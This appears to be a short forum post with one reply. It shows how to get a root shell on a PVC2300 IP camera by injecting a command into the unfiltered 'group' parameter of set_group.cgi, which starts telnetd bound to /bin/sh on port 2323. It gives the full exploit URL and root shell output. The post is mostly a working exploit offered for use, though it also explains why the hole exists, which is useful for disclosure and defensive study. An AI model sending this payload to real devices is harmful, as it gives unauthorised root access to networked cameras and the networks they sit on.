Hello

I have found the way to enable telnetd server on the PVC2300 IP Camera :

- First you have to know and login with admin password into web interface.

- Then, you have to call set_group.cgi script with code injection to call telnetd  process :

http://camera_ip/adm/set_group.cgi?group=;/usr/sbin/telnetd -p 2323 -l /bin/sh;

In fact, the goal of set_group.cgi is to change camera settings. Internally it uses shell commands like grep to find and edit the correct lines into /etc/system.conf. The group argument is not filtered, and if you use ; you can pass other commands.

You can connect to the telnet server, you have full root access :

# cat /proc/cpuinfo
Processor       : Faraday FA526id(wb) rev 1 (v4l)
BogoMIPS        : 147.56
Features        : swp half

Hardware        : Prolific ARM9v4 - PL1029
Revision        : 0000
Serial          : 0000000000000000

Enjoy

thanks for sharing